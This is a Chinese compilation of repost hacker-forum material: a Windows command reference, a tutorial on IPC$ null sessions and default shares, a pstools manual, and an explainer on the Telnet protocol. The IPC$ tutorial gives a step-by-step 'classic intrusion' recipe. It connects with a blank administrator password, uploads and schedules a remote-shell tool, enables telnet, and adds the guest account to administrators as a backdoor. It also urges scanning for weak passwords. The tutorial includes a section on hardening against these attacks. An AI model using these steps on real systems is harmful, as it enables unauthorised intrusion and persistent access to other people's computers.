显示远程计算机的 NetBIOS 名称表，其中，RemoteName 是远程计算机的 NetBIOS 计算机名称。
-A IPAddress
显示远程计算机的 NetBIOS 名称表，其名称由远程计算机的 IP 地址指定（以小数点分隔）。
十、Netstat
显示活动的 TCP 连接、计算机侦听的端口、以太网统计信息、IP 路由表、IPv4 统计信息（对于 IP、ICMP、TCP 和 UDP 协议）以及 IPv6 统计信息（对于 IPv6、ICMPv6、通过 IPv6 的 TCP 以及通过 IPv6 的 UDP 协议）。使用时如果不带参数，netstat 显示活动的 TCP 连接。
-a
显示所有活动的 TCP 连接以及计算机侦听的 TCP 和 UDP 端口。
十一、Ping
通过发送“网际消息控制协议 (ICMP)”回响请求消息来验证与另一台 TCP/IP 计算机的 IP 级连接。回响应答消息的接收情况将和往返过程的次数一起显示出来。Ping 是用于检测网络连接性、可到达性和名称解析的疑难问题的主要 TCP/IP 命令。如果不带参数，ping 将显示帮助。名称和Ip地址解析是它的最简单应用也是用的最多的。
-t
指定在中断前 ping 可以持续发送回响请求信息到目的地。要中断并显示统计信息，请按 CTRL-BREAK。要中断并退出 ping，请按 CTRL-C。
-lSize
指定发送的回响请求消息中“数据”字段的长度（以字节表示）。默认值为 32。size 的最大值是 65,527。
十二、Rename (Ren)
更改文件的名称。
例如 ren *.abc *.cba
十三、Set
显示、设置或删除环境变量。如果没有任何参数，set 命令将显示当前环境设置。
十四、Shutdown
允许您关闭或重新启动本地或远程计算机。如果没有使用参数，shutdown 将注销当前用户。
-m ComputerName
指定要关闭的计算机。
-t xx
将用于系统关闭的定时器设置为 xx 秒。默认值是 20 秒。
-l
注销当前用户，这是默认设置。-m ComputerName 优先。
-s
关闭本地计算机。
-r
关闭之后重新启动。
-a
中止关闭。除了 -l 和 ComputerName 外，系统将忽略其它参数。在超时期间，您只可以使用 -a。
十五、System File Checker (sfc)
win下才有，在重新启动计算机后扫描和验证所有受保护的系统文件。
/scannow
立即扫描所有受保护的系统文件。
/scanonce
一次扫描所有受保护的系统文件。
/purgecache
立即清除“Windows 文件保护”文件高速缓存，并扫描所有受保护的系统文件。
/cachesize=x
设置“Windows 文件保护”文件高速缓存的大小，以 MB 为单位。
十六、type
显示文本文件的内容。使用 type 命令查看文本文件或者是bat文件而不修改文件
十七、Tree
图像化显示路径或驱动器中磁盘的目录结构。
十八、Xcopy
复制文件和目录，包括子目录。
/s
复制非空的目录和子目录。如果省略 /s，xcopy 将在一个目录中工作。
/e
复制所有子目录，包括空目录。
十九、copy
将一个或多个文件从一个位置复制到其他位置
二十、del
删除指定文件。
ftp和bat批命令和net和telnet由于子命令太多，这里不说了，不过这几个都是常用到的


[转载]黑客必会的一招 ipc技巧基础

信息来源：桂林电子工业学院 梁海鹏
文章作者：不详
对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的许多迷惑(你随便找一个hack论坛搜一下ipc,看存在的疑惑有多少).
因此我写了这篇相当于解惑的教程.想把一些容易混淆,容易迷惑人的问题说清楚,让大家不要总徘徊在原地!如果你看完这篇帖子仍有疑问,请马上回复!
二 什么是ipc$
IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的)，它是为了让进程间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的)，而利用这个空的连接，连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。
我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。
所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$，访问共享资源,导出用户列表,并使用一些字典工具，进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.
解惑:
1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能，其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数，所以不能在Windows 9.x中运行。
也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的)
2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接
3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表

三 建立ipc$连接在hack攻击中的作用
就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧,what u want,u can do!!
(基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server，还可以考虑开启终端服务方便控制.怎么样?够厉害吧!)
不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的
因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法连接.
所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连接在hack入侵中的意义所在.

四 ipc$与空连接,139,445端口,默认共享的关系
以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂)
1)ipc$与空连接:
不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了.
许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟).
2)ipc$与139,445端口:
ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.
3)ipc$与默认共享
默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)

五 ipc$连接失败的原因
以下5个原因是比较常见的:
1)你的系统不是NT或以上操作系统;
2)对方没有打开ipc$默认共享
3)对方未开启139或445端口(惑被防火墙屏蔽)
4)你的命令输入有误(比如缺少了空格等)
5)用户名或密码错误(空连接当然无所谓了)
另外,你也可以根据返回的错误号分析原因：
错误号5，拒绝访问 ： 很可能你使用的用户不是管理员权限的，先提升权限；
错误号51，Windows 无法找到网络路径 : 网络有问题；
错误号53，找不到网络路径 ： ip地址错误；目标未开机；目标lanmanserver服务未启动；目标有防火墙（端口过滤）；
错误号67，找不到网络名 ： 你的lanmanworkstation服务未启动；目标删除了ipc$；
错误号1219，提供的凭据与已存在的凭据集冲突 ： 你已经和对方建立了一个ipc$，请删除再连。
错误号1326，未知的用户名或错误密码 ： 原因很明显了；
错误号1792，试图登录，但是网络登录服务没有启动 ： 目标NetLogon服务未启动。（连接域控会出现此情况）
错误号2242，此用户的密码已经过期 ： 目标有帐号策略，强制定期要求更改密码。
关于ipc$连不上的问题比较复杂，除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就靠大家自己体会和试验了.

六 如何打开目标的IPC$(此段引自相关文章)
首先你需要获得一个不依赖于ipc$的shell，比如sql的cmd扩展、telnet、木马,当然，这shell必须是admin权限的,然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上面可以知道，ipc$能否使用还有很多条件。请确认相关服务都已运行，没有就启动它（不知道怎么做的请看net命令的用法）,还是不行的话（比如有防火墙，杀不了）建议放弃。

七 如何防范ipc$入侵
1禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》)
首先运行regedit，找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为：00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)
2禁止默认共享
1）察看本地共享资源
运行-cmd-输入net share
2）删除共享(每次输入一个）
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete（如果有e,f,……可以继续删除）
3）停止server服务
net stop server /y （重新启动后server服务会重新开启）
4）修改注册表
运行-regedit
server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer（DWORD）的键值改为:00000000。
pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks（DWORD）的键值改为:00000000。
如果上面所说的主键不存在，就新建(右击-新建-双字节值）一个主健再改键值。
3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务
控制面板-管理工具-服务-找到server服务（右击）-属性-常规-启动类型-已禁用
4安装防火墙(选中相关设置)，或者端口过滤(滤掉139,445等),或者用新版本的优化大师
5设置复杂密码，防止通过ipc$穷举密码

八 相关命令
1)建立空连接:
net use \\IP\ipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格)
2)建立非空连接:
net use \\IP\ipc$ "用户名" /user:"密码" (同样有3个空格)
3)映射默认共享:
net use z: \\IP\c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘，其他盘类推)
如果已经和目标建立了ipc$，则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$
4)删除一个ipc$连接
net use \\IP\ipc$ /del
5)删除共享映射
net use c: /del 删除映射的c盘，其他盘类推
net use * /del 删除全部,会有提示要求按y确认

九 经典入侵模式
这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈)
1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
这是用《流光》扫到的用户名是administrators，密码为"空"的IP地址(空口令?哇,运气好到家了)，如果是打算攻击的话，就可以用这样的命令来与127.0.0.1建立一个连接，因为密码为"空"，所以第一个引号处就不用输入，后面一个双引号里的是用户名，输入administrators，命令即可成功完成。

2. C:\>copy srv.exe \\127.0.0.1\admin$
先复制srv.exe上去，在流光的Tools目录下就有（这里的$是指admin用户的c:\winnt\system32\，大家还可以使用c$、d$，意思是C盘与D盘，这看你要复制到什么地方去了）。

3. C:\>net time \\127.0.0.1
查查时间，发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00，命令成功完成。

4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧（这里设置的时间要比主机时间快，不然你怎么启动啊，呵呵！）

5. C:\>net time \\127.0.0.1
再查查到时间没有？如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05，那就准备开始下面的命令。

6. C:\>telnet 127.0.0.1 99
这里会用到Telnet命令吧，注意端口是99。Telnet默认的是23端口，但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
虽然我们可以Telnet上去了，但是SRV是一次性的，下次登录还要再激活！所以我们打算建立一个Telnet服务！这就要用到ntlm了

7.C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上（ntlm.exe也是在《流光》的Tools目录中）。

8. C:\WINNT\system32>ntlm
输入ntlm启动（这里的C:\WINNT\system32>指的是对方计算机，运行ntlm其实是让这个程序在对方计算机上运行）。当出现"DONE"的时候，就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务！
9. Telnet 127.0.0.1，接着输入用户名与密码就进入对方了，操作就像在DOS上操作一样简单！(然后你想做什么?想做什么就做什么吧,哈哈)
为了以防万一,我们再把guest激活加到管理组
10. C:\>net user guest /active:yes
将对方的Guest用户激活
11. C:\>net user guest 1234
将Guest的密码改为1234,或者你要设定的密码
12. C:\>net localgroup administrators guest /add
将Guest变为Administrator^_^(如果管理员密码更改，guest帐号没改变的话，下次我们可以用guest再次访问这台计算机)


pstools说明书
声明：这份说明书，是sunlion[E.S.T]保留在自己的电脑里面的，由于时间太久，已经不记得是来自那里了？如果有那位兄弟知道它的出处，请联系我sunlion[E.S.T]，可以在可以发帖的区域告诉我：），我马上补上，在这里感谢，原作者！
刚刚看到冰血发了一份英文的，为了照顾大家，我把这份中文的发上来：）
[转载]
pstools工具使用方法

本篇文章是基于pstools 1.6版本。pstools是sysinternals出的一个功能强大的nt/2k远程管理工具包。
它的主页为http://www.sysinternals.com/
下载地址为http://www.sysinternals.com/files/Pstools.zip
(1)psexec
psexec是一个远程执行工具，你可以像使用telnet一样使用它。
它的使用格式为：
psexec \\远程机器ip [-u username [-p password]] [-c [-f]] [-i][-d] program [arguments]
它的参数有：
-u后面跟用户名 -p后面是跟密码的,如果建立ipc连接后这两个参数则不需要。（如果没有-p参数，则输入命令后会要求你输入密码）
-c <[路径]文件名>:拷贝文件到远程机器并运行（注意：运行结束后文件会自动删除）
-d 不等待程序执行完就返回，（比如要让远程机器运行tftp服务端的时候使用，不然psexec命令会一直等待tftp程序结束才会返回）
-i 在远程机器上运行一个名为psexesvc进程，(到底什么用弄不明白）
假设我在远程机器ip有一个账号，账号名是：abc 密码是：123
比如想要用telnet一样在远程系统上执行命令可以打：
psexec \\远程机器ip -u abc -p 123 cmd
如果想要远程机器执行本地c:\srm.exe文件可以打：
psexec \\远程机器ip -u abc -p 123 -c c:\srm.exe
如果想要让远程机器执行本地上tftp服务端，(假设tftp服务端在本地c:\tftp32.exe)，可以打：
psexec \\远程机器ip -u abc -p 123 -c c:\tftp32.exe -d

（后面例子不再重复-u和-p的用法）

(2)psservice
psservice是一个服务管理程序。
它的使用格式为：
psservice [\\远程机器ip [-u username] [-p password]] <command> <options>
它的参数只有：
-u 后面跟用户名 -p后面是跟密码的,如果建立ipc连接后这两个参数则不需要。（如果没有-p参数，则输入命令后会要求你输入密码）
它的command有：
query [服务名]:显示某一服务的状态，如不填服务名则显示所有服务的状态。
config <服务名>：显示某一服务的配置。
start <服务名>：启动某一服务。
stop <服务名>：停止某一服务。
testart <服务名>：停止某一服务并重新启动它。
pause <服务名>：暂停某一服务。
cont <服务名>：恢复暂停的服务。
depend <服务名>：显示某一服务依存关系。
find <服务名>：在网络种搜寻指定的服务。
比如你想查看在远程机器上的telnet服务的状态可以打：
psservice \\远程机器ip query tlntsvr （tlntsvr为telnet服务的服务名）
比如你查看远程机器上的telnet服务的配置可以打：
psservice \\远程机器ip config tlntsvr
比如你想启动远程机器上的telnet服务可以打：
psservice \\远程机器ip start tlntsvr
其他用法以此类推。

(3)pssuspend
pssuspend是一个暂时停止进程的软件
它的使用格式为：
pssuspend [-r] [\\远程机器ip [-u username] [-p password]] <process name | process id>
它有三个参数：
-u：后面跟用户名 -p：后面是跟密码的,如果建立ipc连接后这两个参数则不需要。（如果没有-p参数，则输入命令后会要求你输入密码）
-r:恢复进程。
比如要暂时停止一个pid号为999,名称为srm.exe的进程可以打：
pssuspend \\远程机器ip 999 或 pssuspend \\远程机器ip srm
如果想要恢复它就可以打pssuspend -r \\远程机器ip 999 或 pssuspend -r \\远程机器ip srm

(4)psinfo
psinfo是一个搜集机器软硬件信息的工具，它可以获得操作系统信息，硬件信息和软件信息。
它的使用格式为：
psinfo [-h] [-s] [-d] [-c] [\\远程机器ip [-u username [-p password]]]
它的参数有：
-u：后面跟用户名 -p：后面是跟密码的,如果建立ipc连接后这两个参数则不需要。（如果没有-p参数，则输入命令后会要求你输入密码）
-h：是显示它安装了哪些补丁包
-s：是显示它装了哪些软件
-d：是显示磁盘信息。
比如我只想看远程机器的软硬件信息和只用打:
psinfo \\远程机器ip
假如我还想看看它装了哪些补丁包可以打
psinfo -h \\远程机器ip
假如我还想看看它磁盘信息可以打：
psinfo -d \\远程机器ip
如果我想看它装了哪些软件可以打：
psinfo -s \\远程机器ip
简单吧.

(5)pslist
pslist是一个查看进程的程序。
它的使用格式为：
pslist [-d] [-m] [-x][-t][-s [n] [-r n] [\\远程机器ip [-u username] [-p password]] [name | pid]
它的参数有：
-u：后面跟用户名 -p：后面是跟密码的,如果建立ipc连接后这两个参数则不需要。（如果没有-p参数，则输入命令后会要求你输入密码）
-s：是使用任务管理器模式实时查看进程，可以按ESC键退出。
-r <秒数>：是和-s连用的一个参数，它用来指定任务管理器模式是的刷新间隔。（默认的刷新间隔为1秒）
-d：示各个进程的cpu使用信息。
-m：显示各个进程的存储器使用信息。
-x：非常详细显示进程的所有信息。
-t：以树型方式显示进程。
比如要查看远程机器ip上的进程的cpu使用信息可以打:
pslist -d \\远程机器ip
比如要查看一个pid号为999,名称为srm.exe进程的存储器使用信息可以打：
pslist -m \\远程机器ip 999 或 pslist -m \\远程机器ip srm
比如要以任务管理器模式实时查看61.12.23.4上进程情况，并且刷新间隔为3秒可以打：
pslist -s -n 3 \\远程机器ip

(6)psuptime
psuptime是一个了解远程机器运行了多久的命令。
使用它只需要打：psuptime \\远程机器ip

(7)psshutdown
psshutdown是一个远程关机命令。
它的使用格式为：
psshutdown [[-s | -r | -k [-t nn][-m "消息"][-f]] -a | -l | -o] [\\远程机器ip]
它的参数有：
-a：取消以前执行的关机指令。
-t：离关机还有多少秒。（默认是20秒）
-s：关闭机器。
-m：是要显示的信息。
-f：是关机是不保存运行的程序。
-r：表示重启。
-l：表示锁定电脑。
-o：表示注销用户。
比如我想让远程机器30秒后关闭并显示(要关机了，请保存文件)则打：
psshutdown -t 30 -s -m "要关机了，请保存文件" \\远程机器ip
如果是要重起的话打：
psshutdown -t 30 -m "要关机了，请保存文件" -r \\远程机器ip
如果要取消刚才的指令可以打：
psshutdown -a \\远程机器ip
其他参数以此类推。

(8)psfile
psfile是一个显示机器上的会话和有什么文件被网络中的用户的打开的命令。
它的使用格式为：
psfile [\\远程机器ip [-u Username [-p Password]]] [[Id | path] [-c]]
它的参数有:
-u 后面跟用户名 -p后面是跟密码的,如果建立ipc连接后这两个参数则不需要。（如果没有-p参数，则输入命令后会要求你输入密码）
-c：关闭会话或文件
比如我想看看远程机器上的会话和被远程用户打开的文件可以打：
psfile \\远程机器ip
接着就会显示
[33] C:\WINNT
User: ADMINISTRATOR
Locks: 0
Access: Read
[63] \PIPE\srvsvc
User: ADMINISTRATOR
Locks: 0
Access: Read Write
接着我想关闭id为33，路径为c:\winnt的这个会话可以打
psfile \\远程机器ip 33 -c 或 psfile \\远程机器ip c:\winnt -c

(9)psloggedon
psloggedon是一个显示目前谁登陆的机器的命令。
它的参数只有:
-l只显示本地登陆用户而不显示其它的网络登陆用户
-x不显示登陆时间
比如说要显示远程机器现在登陆的用户可以打：
psloggedon \\远程机器ip

(10)psgetsid
psgetsid是一个远程获取账号sid信息的工具。
它的使用格式为：
psgetsid [\\远程机器ip [-u username [-p password]]] [account]
它的参数有
-u 后面跟用户名 -p后面是跟密码的,如果建立ipc连接后这两个参数则不需要。（如果没有-p参数，则输入命令后会要求你输入密码）
比如要看远程机器上账号名为abc的sid信息可以打：
psgetsid \\远程机器ip abc

(11)pskill
pskill是一个杀除进程的程序。
它的使用格式为：
pskill [\\远程机器ip [-u username] [-p password]] <process name | process id>
比如要杀除一个pid号为999,名称为srm.exe的进程可以打：
pskill \\远程机器ip 999 或 pskill \\远程机器ip srm

(12)psloglist
psloglist
psloglist是一个查看系统事件记录的程序。
它的使用格式为：
psloglist [\\远程机器ip [-u username [-p password]]] [-s [-t delimiter]] [-n # | -d #][-c][-x][-r][-a mm/dd/yy][-b mm/dd/yy][-f filter] [-l event log file] <eventlog>
它的参数有：
-u 后面跟用户名 -p后面是跟密码的,如果建立ipc连接后这两个参数则不需要。
-c:显示事件之后清理事件记录
-l <事件记录文件名>:用于查看事件记录文件
-n <n>：只显示最近的n条系统事件记录。
-d <n>：只显示n天以前的系统事件记录
-a mm/dd/yy:显示mm/dd/yy以后的系统事件记录
-b mm/dd/yy:显示mm/dd/yy以前的系统事件记录
-f <事件类型>：只显示指定的事件类型的系统事件记录。
-x：显示事件数据代码
-r：从旧到新排列（如不加则默认是从新到旧排列）
-s:以一个事件为一行的格式显示，中间默认以逗号格开各个信息。
-t <字符>:这个参数和-s连用，以来改变-s中默认的逗号。
如果我想看远程机器的系统事件记录只用打：
psloglist \\远程机器ip 123
比如我想看最近的10条error类型的记录可以打：
psloglist \\远程机器ip -n 10 -f error


你真的了解telnet吗？
目录：

一 摘要
二 远程登录
三 Telnet协议
四 Win2000的Telnet服务
五 在telnet中该做什么
六 结束语

一 摘要

Telnet的应用不仅方便了我们进行远程登录，也给hacker们提供了又一种入侵手段和后门，但无论如何，在你尽情享受Telnet所带给你的便捷的同时，你是否真正的了解Telnet呢？
二 远程登录
Telnet服务虽然也属于客户机/服务器模型的服务，但它更大的意义在于实现了基于Telnet协议的远程登录（远程交互式计算），那么就让我们来认识一下远程登录。
1 远程登陆的基本概念
先来看看什么叫登录：分时系统允许多个用户同时使用一台计算机，为了保证系统的安全和记帐方便，系统要求每个用户有单独的帐号作为登录标识，系统还为每个用户指定了一个口令。用户在使用该系统之前要输入标识和口令，这个过程被称为'登录'。

远程登陆是指用户使用Telnet命令，使自己的计算机暂时成为远程主机的一个仿真终端的过程。仿真终端等效于一个非智能的机器，它只负责把用户输入的每个字符传递给主机，再将主机输出的每个信息回显在屏幕上。
2 远程登陆的产生及发展
我们可以先构想一个提供远程文字编辑的服务，这个服务的实现需要一个接受编辑文件请求和数据的服务器以及一个发送此请求的客户机。客户机将建立一个从本地机到服务器的TCP连接，当然这需要服务器的应答，然后向服务器发送键入的信息（文件编辑信息），并读取从服务器返回的输出。以上便是一个标准而普通的客户机/服务器模型的服务。

似乎有了客户机/服务器模型的服务，一切远程问题都可以解决了。然而实际并非你想象的那样简单，如果我们仅需要远程编辑文件，那么刚才所构想的服务完全可以胜任，但假如我们的要求并不是这么简单，我们还想实现远程用户管理，远程数据录入，远程系统维护，想实现一切可以在远程主机上实现的*作，那么我们将需要大量专用的服务器程序并为每一个可计算服务都使用一个服务器进程，随之而来的问题是：远程机器会很快对服务器进程应接不暇，并淹没在进程的海洋里（我们在这里排除最专业化的远程机器）。

那么有没有办法解决呢？当然有，我们可以用远程登录来解决这一切。我们允许用户在远地机器上建立一个登录会话，然后通过执行命令来实现更一般的服务，就像在本地*作一样。这样，我们便可以访问远地系统上所有可用的命令，并且系统设计员不需提供多个专用地服务器程序。

问题发展到这里好像前途一片光明了，用远程登录总应该解决问题了吧，但要实现远程登陆并不简单。不考虑网络设计的计算机系统期望用户只从直接相连的键盘和显示器上登录，在这种机器上增加远程登陆功能需要修改机器的*作系统，这是极其艰巨也是我们尽量避免的。因此我们应该集中力量构造远程登陆服务器软件，虽然这样也是比较困难的。为什么说这样做也比较困难呢？

举个例子来说：一般，*作系统会为一些特殊按键分配特殊的含义，比如本地系统将'Ctrl+C'解释为：'终止当前运行的命令进程'。但假设我们已经运行了远程登陆服务器软件，'Ctrl+C'也有可能无法被传送到远地机器，如果客户机真的将'Ctrl+C'传到了远地机器，那么'Ctrl+C'这个命令有可能不能终止本地的进程，也就是说在这里很可能会产生混乱。而且这仅仅是遇到的难题之一。

但尽管有技术上的困难，系统编程人员还是设法构造了能够应用于大多数*作系统的远程登陆服务器软件，并构造了充当客户机的应用软件。通常，客户机软件取消了除一个键以外的所有键的本地解释，并将这些本地解释相应的转换成远地解释，这就使得客户机软件与远地机器的交互，就如同坐在远程主机面前一样，从而避免了上述所提到的混乱。而那个唯一例外的键，可以使用户回到本地环境。

将远程登陆服务器设计为应用级软件，还有另一个要求，那就是需要*作系统提供对伪终端（pseudo terminal）的支持。我们用伪终端描述*作系统的入口点，它允许像Telnet服务器一样的程序向*作系统传送字符，并且使得字符像是来自本地键盘一样。只有使用这样的*作系统，才能将远程登陆服务器设计为应用级软件（比如Telnet服务器软件），否则，本地*作系统和远地系统传送将不能识别从对方传送过来的信息（因为它们仅能识别从本地键盘所键入的信息），远程登陆将宣告失败。

将远程登陆服务器设计为应用级软件虽然有其显著的优点：比将代码嵌入*作系统更易修改和控制服务器。但其也有效率不高的缺点（后面的内容将会给予解释），好在用户键入信息的速率不高，这种设计还是可以接受的。
3 远程登录的工作过程
使用Telnet协议进行远程登陆时需要满足以下条件：在本的计算机上必须装有包含Telnet协议的客户程序；必须知道远程主机的Ip地址或域名；必须知道登录标识与口令。

Telnet远程登录服务分为以下4个过程：

1）本地与远程主机建立连接。该过程实际上是建立一个TCP连接，用户必须知道远程主机的Ip地址或域名；

2）将本地终端上输入的用户名和口令及以后输入的任何命令或字符以NVT（Net Virtual Terminal）格式传送到远程主机。该过程实际上是从本地主机向远程主机发送一个IP数据报；

3）将远程主机输出的NVT格式的数据转化为本地所接受的格式送回本地终端，包括输入命令回显和命令执行结果；

4）最后，本地终端对远程主机进行撤消连接。该过程是撤销一个TCP连接。
上面的内容只是讨论了远程登陆最基本的东西，其中的复杂和编程人员的艰辛是我们难以想象的，不知道你在舒服的使用Telnet的同时，是否想到了这些！
三 Telnet协议
我们知道Telnet服务器软件是我们最常用的远程登录服务器软件，是一种典型的客户机/服务器模型的服务，它应用Telnet协议来工作。那么，什么是Telnet协议？它都具备哪些特点呢？
1 基本内容
Telnet协议是TCP/IP协议族中的一员，是Internet远程登陆服务的标准协议。应用Telnet协议能够把本地用户所使用的计算机变成远程主机系统的一个终端。它提供了三种基本服务：

1）Telnet定义一个网络虚拟终端为远的系统提供一个标准接口。客户机程序不必详细了解远的系统，他们只需构造使用标准接口的程序；

2）Telnet包括一个允许客户机和服务器协商选项的机制，而且它还提供一组标准选项；

3）Telnet对称处理连接的两端，即Telnet不强迫客户机从键盘输入，也不强迫客户机在屏幕上显示输出。
2 适应异构
为了使多个*作系统间的Telnet交互*作成为可能，就必须详细了解异构计算机和*作系统。比如，一些*作系统需要每行文本用ASCII回车控制符（CR）结束，另一些系统则需要使用ASCII换行符（LF），还有一些系统需要用两个字符的序列回车-换行（CR-LF）；再比如，大多数*作系统为用户提供了一个中断程序运行的快捷键，但这个快捷键在各个系统中有可能不同（一些系统使用CTRL+C，而另一些系统使用ESCAPE）。如果不考虑系统间的异构性，那么在本地发出的字符或命令，传送到远地并被远地系统解释后很可能会不准确或者出现错误。因此，Telnet协议必须解决这个问题。

为了适应异构环境，Telnet协议定义了数据和命令在Internet上的传输方式，此定义被称作网络虚拟终端NVT（Net Virtual Terminal）。它的应用过程如下：

对于发送的数据：客户机软件把来自用户终端的按键和命令序列转换为NVT格式，并发送到服务器，服务器软件将收到的数据和命令，从NVT格式转换为远地系统需要的格式；
对于返回的数据：远地服务器将数据从远地机器的格式转换为NVT格式，而本地客户机将将接收到的NVT格式数据再转换为本地的格式。
对于NVT格式的详细定义，有兴趣的朋友可以去查找相关资料。
3 传送远地命令
我们知道绝大多数*作系统都提供各种快捷键来实现相应的控制命令，当用户在本地终端键入这些快捷键的时候，本地系统将执行相应的控制命令，而不把这些快捷键作为输入。那么对于Telnet来说，它是用什么来实现控制命令的远地传送呢？

Telnet同样使用NVT来定义如何从客户机将控制功能传送到服务器。我们知道USASCII字符集包括95个可打印字符和33个控制码。当用户从本地键入普通字符时，NVT将按照其原始含义传送；当用户键入快捷键（组合键）时，NVT将把它转化为特殊的ASCII字符在网络上传送，并在其到达远地机器后转化为相应的控制命令。将正常ASCII字符集与控制命令区分主要有两个原因：

1）这种区分意味着Telnet具有更大的灵活性：它可在客户机与服务器间传送所有可能的ASCII字符以及所有控制功能；

2）这种区分使得客户机可以无二义性的指定信令，而不会产生控制功能与普通字符的混乱。
4 数据流向
上面我们提到过将Telnet设计为应用级软件有一个缺点，那就是：效率不高。这是为什么呢？下面给出Telnet中的数据流向：

数据信息被用户从本地键盘键入并通过*作系统传到客户机程序，客户机程序将其处理后返回*作系统，并由*作系统经过网络传送到远地机器，远地*作系统将所接收数据传给服务器程序，并经服务器程序再次处理后返回到*作系统上的伪终端入口点，最后，远地*作系统将数据传送到用户正在运行的应用程序，这便是一次完整的输入过程；输出将按照同一通路从服务器传送到客户机。

因为每一次的输入和输出，计算机将切换进程环境好几次，这个开销是很昂贵的。还好用户的键入速率并不算高，这个缺点我们仍然能够接受。
5 强制命令
我们应该考虑到这样一种情况：假设本地用户运行了远地机器的一个无休止循环的错误命令或程序，且此命令或程序已经停止读取输入，那么*作系统的缓冲区可能因此而被占满，如果这样，远地服务器也无法再将数据写入伪终端，并且最终导致停止从TCP连接读取数据，TCP连接的缓冲区最终也会被占满，从而导致阻止数据流流入此连接。如果以上事情真的发生了，那么本地用户将失去对远地机器的控制。

为了解决此问题，Telnet协议必须使用外带信令以便强制服务器读取一个控制命令。我们知道TCP用紧急数据机制实现外带数据信令，那么Telnet只要再附加一个被称为数据标记(date mark)的保留八位组，并通过让TCP发送已设置紧急数据比特的报文段通知服务器便可以了，携带紧急数据的报文段将绕过流量控制直接到达服务器。作为对紧急信令的相应，服务器将读取并抛弃所有数据，直到找到了一个数据标记。服务器在遇到了数据标记后将返回正常的处理过程。
6 选项协商
由于Telnet两端的机器和*作系统的异构性，使得Telnet不可能也不应该严格规定每一个telnet连接的详细配置，否则将大大影响Telnet的适应异构性。因此，Telnet采用选项协商机制来解决这一问题。

